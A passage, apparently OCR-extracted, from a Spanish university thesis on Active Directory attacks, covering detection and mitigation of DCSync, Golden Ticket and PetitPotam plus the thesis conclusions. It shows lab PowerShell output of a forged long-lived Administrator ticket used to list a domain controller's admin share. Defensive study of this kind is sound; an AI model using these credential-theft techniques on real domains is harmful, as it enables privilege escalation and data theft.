El ataque de DCSync es complicado de detectar, pues es una funcionalidad legitima
de Microsoft. Se puede utilizar un antivirus que detecte la utilizaciéon de Mimikatz en una
méquina. El creador de Mimikatz y descubridor de esta técnica de ataque recomienda tener
en cuenta el evento de Windows 4662, una operacion se ha realizado sobre un objeto. Dado
que este evento es muy genérico, se pueden aplicar una serie de filtros para concretar mas.
Entre ellos se encuentra que la méscara de acceso tenga un valor de 0x100, el necesario

para realizar el ataque. También que en las propiedades aparezca la bandera % %7688, que
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PS C:\Users\antonio.garcia> klist
El id. de inicio de sesion actual es 9:0x104c@e@
ales almacenados en caché: (1)

0> Cliente: Administrador @ ACME.local
Servidor: krbtgt/ACME.local @ ACME.local
Tipo de cifrado de vale Kerberos: RSADSI RC4-HMAC(NT)
Marcas de vale Px40e00000 -> forwardable renewable initial pre_authent
Hora de inicio: 6/10/2024 10:26:44 (local)
Hora de finalizacion: 6/8/2034 10:26:44 (local)
Hora de renovacion: 6/8/2034 10:26:44 (local)
Tipo de clave de sesién: RSADSI RC4-HMAC(NT)
Marcas de caché: @x1 -> PRIMARY
KDC 1lamado:
PS C:\Users\antonio.garcia> whoami
acme\antonio.garcia
PS C:\Users\antonio.garcia> Get-ChildItem \\DCB1\Users\Administrador\Documents\ShareAdministrativo

Directorio: \\DC@1\Users\Administrador\Documents\ShareAdministrativo

LastWriteTime Length Name

18/06/2024 9: 26 DocumentoConfidencial .txt

Figura 6.32: Enumeraciéon de recursos compartidos con el usuario antonio.garcia y TGT de
Administrador.

PS C:\Users\antonio.garcia> klist
El id. de inicio de sesion actual es 0:0xf881a@
ales almacenados en caché: (2)

e > Cliente: antonio.garcia @ ACME.LOCAL
Servidor: krbtgt/ACME.LOCAL @ ACME.LOCAL
Tipo de cifrado de vale Kerberos: AES-256-CTS-HMAC-SHA1-96
Marcas de vale @x40e1000@ -> forwardable renewable initial pre_authent name_canonicalize
Hora de inicio: 6/10/2024 10:19:25 (local)
Hora de finalizacion: 6/10/2024 20:19:25 (local)
Hora de renovacion: 6/17/2024 10:19:25 (local)
Tipo de clave de sesién: AES-256-CTS-HMAC-SHA1-96
Marcas de caché: @x1 -> PRIMARY
KDC llamado: DCO1

Cliente: antonio.garcia @ ACME.LOCAL
Servidor: LDAP/DCO®1.ACME.local/ACME.local @ ACME.LOCAL
Tipo de cifrado de vale Kerberos: AES-256-CTS-HMAC-SHA1-96
Marcas de vale @x40a5000@ -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Hora de inicio: 6/10/2024 10:19:25 (local)
Hora de finalizacion: 6/10/2024 20:19:25 (local)
Hora de renovaciodn: 6/17/2024 10:19:25 (local)
Tipo de clave de sesién: AES-256-CTS-HMAC-SHA1-96
Marcas de cache: @
KDC 1lamado: DC@1.ACME.local
PS C:\Users\antonio.garcia> whoami
acme\antonio.garcia
PS C:\Users\antonio.garcia> Get-ChildItem \\DC@1\Users\Administrador\Documents\ShareAdministrativo

Figura 6.33: Enumeracion de recursos compartidos con el usuario antonio.garcia.
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también tiene que ver con el control de acceso, y que contintie con algin GUID asociado a
alguna funciéon RPC asociada con el intento de replicacion.

Para poder detectar el ataque de Golden Ticket hay que tener en cuenta que muchos
adversarios utilizan el nombre de una cuenta que no esta en el dominio, por lo que se puede
detectar en el momento en que aparece un evento de Windows 4769, se solicitéo un TGS, y la
cuenta no existe en las cuentas del dominio. También puede detectarse el uso de Mimikatz
para crear el ticket. Una vez el ticket se ha creado, se puede utilizar el primer acceso a un
recurso, que serd un dispositivo, por un usuario, el cual puede haber sido vulnerado, asi como

detectar la actividad a horas anémalas.

Mitigacién de las técnicas utilizadas

Tras varios anos con la vulnerabilidad detectada y siendo explotada por los adversarios,
para mitigar PetitPotam Windows recomienda implementar la proteccién ampliada para la
autenticacion y deshabilitar HT'TP en los servidores de AD CS. En caso de ser posible en
el entorno, se puede deshabilitar NTLM en el dominio. También se puede forzar el uso de
firmas en el protocolo SMB, lo que impedira que se puedan realizar ataques de relé.

El ataque de DCSync es més complicado de mitigar, pues como se ha comentado se trata
de utilizar una funcionalidad legitima de Windows. Se debe seguir el principio de menor pri-
vilegio posible y asignar los privilegios “Replicate Directory Changes”, “ Replicate Directory
Changes All” y “Replicate Directory Changes In Filtered Set” solo a cuentas de administra-
cion. Ademaés, estas cuentas deben estar bien protegidas con el fin de que el adversario no
sea capaz de comprometerlas y utilizar sus permisos.

Para mitigar el ataque de golden ticket es necesario proteger el hash de la cuenta krbtgt.
Para ello es necesario aplicar diferentes salvaguardas como una buena politica de contrasenas,
seguir el principio del menor privilegio posible y la separacion de cuentas de administracion

y de usuarios.
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Capitulo 7

Conclusiones

7.1. Consecucién de objetivos

7.1.1. Objetivos académicos

Este trabajo ha permitido comprender en profundidad algunas de las tacticas, técnicas y
procedimientos utilizadas por adversarios para atacar entornos de Directorio Activo recien-
temente. También ha permitido demostrar el nivel de profesionalizacion de los adversarios,
mostrando sus intereses y objetivos.

Se ha seleccionado un conjunto de 5 técnicas utilizadas recientemente. Tras explicar
en que consisten y que adversarios las utilizan se han emulado, para ver de qué forma
pueden llevarse a cabo. Esta emulacién ha permitido comprender como funcionan a bajo
nivel y ver que detecciones pueden realizarse a partir de esta informaciéon. También se ha
podido comprender que mitigaciones pueden llevarse a cabo para impedir o dificultar a los
adversarios la utilizacion de estas técnicas.

Gracias a la fase de estudio previa sobre los ataques se ha podido correlacionar estas
técnicas con otras fases del ataque del adversario, y ver como se complementan entre si.
Para poder estudiar esto, se emul6 el ataque de PetitPotam, donde el adversario fue capaz
de obtener acceso de forma persistente con méximos privilegios en un dominio tras encadenar
una serie de técnicas.

Los resultados de este proyecto pueden ser utilizados para comprender el panorama actual
de amenazas, los adversarios activos y las formas en que implementan las técnicas que los
caracterizan. Gracias a esto pueden desarrollarse una serie de reglas que permitan detectar

su presencia en redes asi como eliminarla o prevenirla.

7.1.2. Objetivos personales

Si bien el objetivo del proyecto es académico, el tema fue escogido para poder desarrollar

mi conocimiento en ciertos ambitos complementando todo lo aprendido estos cuatro anos de
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carrera.

Gracias a necesitar comprender los ataques, he podido comprender la base del funcio-
namiento de diferentes partes de Directorio Activo. He podido conocer como funciona la
administracion de este a un nivel basico y diferentes aspectos de seguridad. También he po-
dido entender mas profundamente diferentes protocolos, como Kerberos, y como pueden ser
atacados en caso de estar mal configurados. Esto me ha llevado a comprender verdaderamente

la importancia de ciertas mitigaciones y como funcionan.

Gracias a necesitar comprender qué técnicas estaban siendo utilizadas por qué adversarios
he podido conocer gran cantidad de adversarios, sus motivaciones y fuentes de financiacion,
que principalmente son el cibercrimen o estados. También he podido conocer diferentes
fuentes para obtener esta informacion, como reportes de amenazas de organismos publicos
y empresas privadas o investigaciones forenses donde se detallan los procedimientos de un
ataque. La realizacion de este proyecto también me ha permitido familiarizarme con el marco
de MITRE ATT&CK para poder clasificar las técnicas utilizas por los adversarios utilizando

un lenguaje comin entre organismos.

Finalmente, la realizaciéon de este trabajo me ha permitido poner en préctica todo lo
aprendido a la gestion de proyectos en diferentes asignaturas, las cuales me han ayudado a

saber como afrontar tal carga de trabajo.

7.2. Seguimiento de la planificacién inicial

En general los objetivos temporales de la planificacion inicial se han cumplido, pues el
trabajo se ha presentado en la convocatoria ordinaria, que era la fecha prevista. Aun asi,
debido a que posteriormente se estimé que la creaciéon del entorno no llevaria tanto tiempo
pues iba a ser mas simple, se aument6 la duracion de la fase de estudio y seleccion de técnicas
hasta el 13 de mayo, una semana mas tarde. Esto se debe a que en un principio se esperaba
crear un entorno més grande donde realizar las técnicas en un orden especifico para poder
mostrar un ejemplo de ataque, pero tras una serie de decisiones se consider6 que era mejor
realizarlas de forma aislada para una mejor comprension de estas y una mayor facilidad a
la hora de crear el entorno. Aun asi, se agrego la seccion de PetitPotam para ilustrar como
se pueden utilizar diferentes técnicas en orden para realizar un ataque méas complejo, y no

estudiar solo partes aisladas de un compromiso.

Sobre los objetivos econémicos, si bien estos eran una simulacién, pues se han utilizado
versiones de prueba del software de los sistemas Windows, se ha utilizado una licencia de
Windows 10 Pro y tres de Windows Server 2022. Aunque las licencias de Windows Server
podrian haber sido dos, ya que el servidor utilizado para MSSQL podria haber sido el mismo

que el utilizado para ACDS.



Conclusiones 83

7.3. Propuestas de mejora y continuacion

Debido a que el panorama de ciberamenazas es altamente cambiante, el estudio debe
estar en constante actualizacion. Se deberia analizar que adversarios estan operando, las
diferentes técnicas que implementan y formas en que las implementan de forma regular.

Como posible ampliacion se podrian tener en cuenta mas técnicas utilizadas en entornos
de Directorio Activo, las cuales no se han estudiado en profundidad debido a los limites de
tiempo del proyecto.

También podria ampliarse el enfoque del estudio no centrandose en entornos de Direc-
torio Activo. Los adversarios disponen de una gran superficie de ataque a explotar, desde
aplicaciones expuestas a internet, como paginas Web, a diferentes sistemas como enrutadores
y servidores con otros sistemas operativos.

Finalmente, podria indicarse como podria utilizarse la inteligencia artificial para indicar
como detectar el uso de estas técnicas por parte de los adversarios en entornos de Directorio

Activo.
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